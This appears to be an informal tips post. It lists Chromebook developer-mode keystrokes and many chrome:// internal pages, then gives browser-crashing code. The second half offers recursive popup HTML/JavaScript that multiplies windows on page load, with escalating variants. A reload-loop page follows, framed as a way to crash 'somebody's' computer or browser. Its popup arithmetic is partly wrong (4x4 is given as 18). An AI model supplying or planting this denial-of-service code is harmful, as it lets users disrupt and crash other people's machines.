'esc' + 'reload' key + 'power' button on the side of your chromebook, will open up the dev menu.
then you press 'ctrl' + 'd' to move on from the "Water Damage/Recovery" page
chrome://about
chrome://accessibility
chrome://appcache-internals
chrome://assistant-optin
chrome://autofill-internals
chrome://blob-internals
chrome://bluetooth-internals
chrome://bookmarks
chrome://certificate-manager
chrome://chrome-urls
chrome://components
chrome://conversion-internals
chrome://crashes
chrome://credits
chrome://crostini-credits
chrome://cryptohome
chrome://device-log
chrome://devices
chrome://dino
chrome://discards
chrome://download-internals
chrome://downloads
chrome://drive-internals
chrome://extensions
chrome://family-link-user-internals
chrome://flags
chrome://floc-internals
chrome://gcm-internals
chrome://gpu
chrome://help
chrome://histograms
chrome://history
chrome://indexeddb-internals
chrome://inspect
chrome://internet-config-dialog
chrome://internet-detail-dialog
chrome://interstitials
chrome://invalidations
chrome://linux-proxy-config
chrome://local-state
chrome://lock-network
chrome://management
chrome://media-engagement
chrome://media-internals
chrome://nacl
chrome://net-export
chrome://net-internals
chrome://network
chrome://network-error
chrome://network-errors
chrome://new-tab-page
chrome://new-tab-page-third-party
chrome://newtab
chrome://ntp-tiles-internals
chrome://omnibox
chrome://oobe
chrome://os-credits
chrome://os-settings
chrome://password-manager-internals
chrome://policy
chrome://power
chrome://predictors
chrome://prefs-internals
chrome://print
chrome://process-internals
chrome://quota-internals
chrome://safe-browsing
chrome://sandbox
chrome://serviceworker-internals
chrome://settings
chrome://signin-internals
chrome://site-engagement
chrome://sync-internals
chrome://sys-internals
chrome://system
chrome://terms
chrome://tracing
chrome://translate-internals
chrome://ukm
chrome://usb-internals
chrome://user-actions
chrome://version
chrome://web-app-internals
chrome://webrtc-internals
chrome://webrtc-logs
chrome://whats-new
chrome://internals/session-service
NOTE:The following pages are for debugging purposes only. Because they crash or hang the renderer, they're not linked directly; you can type them into the address bar if you need them.
You can redirect to a chrome:// page you just need to create an extension with the tabs permission. Then you can use chrome. tabs.update({ url: "chrome://inducebrowsercrashforrealz") to redirect the current tab to chrome://inducebrowsercrashforrealz.
This will crash ANY browser or the computer using PopUps attack:
If you want to crash somebodies computer or browser PopUp CODE that CRASHES a browser or computer
<script type="text/javascript">
function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
</script>
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');
JavaScript:CrashAndBurn(self.location,'_blank');">
WARNING this will crash ANY browser or the computer using PopUps attack: If you want to crash somebody's computer or browser PopUp CODE that CRASHES a browser or computer
<script type="text/javascript">
function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
</script>
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');
JavaScript:CrashAndBurn(self.location,'_blank');">
If you really want to make their browser seriously hang up, you use this popup. It will continue to upload with 2 more and 2 more popup pages for each popup. That means 2x2 pop ups a second time, 4 popups then 8, 16, 32, 64 and so on popups. It makes as if it were a virus that will spread PopUps in the browser, filling the screen with pop ups till either the computer or the browser crashes and hangs up and shuts down, just...
NOTE: You did not hear this from me OKAY... LOL... I ONLY advise this as a piratical joke on a friend and not for an online web page.
If you wish to make it crash faster then just add more JavaScript:CrashAndBurn(self.location,'_blank'); to onload body like this example x4:
<body onload=" JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); ">
It will load 4 popups for each popup that means after 4 popups it will load 4x4 meaning 18 popups and then 18x4 that is 72 and then 72x4 that is 288 popups and then 288x4 that is 1152 popups just in 4 rounds of popups in a few seconds...
And if you want to be EXTREME HORRIBLE then use x10 example:
onload=JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank'); JavaScript:CrashAndBurn(self.location,'_blank');">
and you have 8 pop ups with 10 that is 10x10=100 popups and then 1000 and after that 1 000 000 popups and GUARANTEES crash fast.
Here the code all together….
<!DOCTYPE html>
<html>
<body>
<h2>Crashing Now</h2>
<p>Hit Ok To Crash</p>
<p id="demo"></p>
<script>
onbeforeunload = function(){localStorage.x=1};
if(confirm("Do you REALLY want me to crash your browser?")){
setTimeout(function(){
while(1)location.reload(1)
}, 1000)
}
</script>
</body>
</html>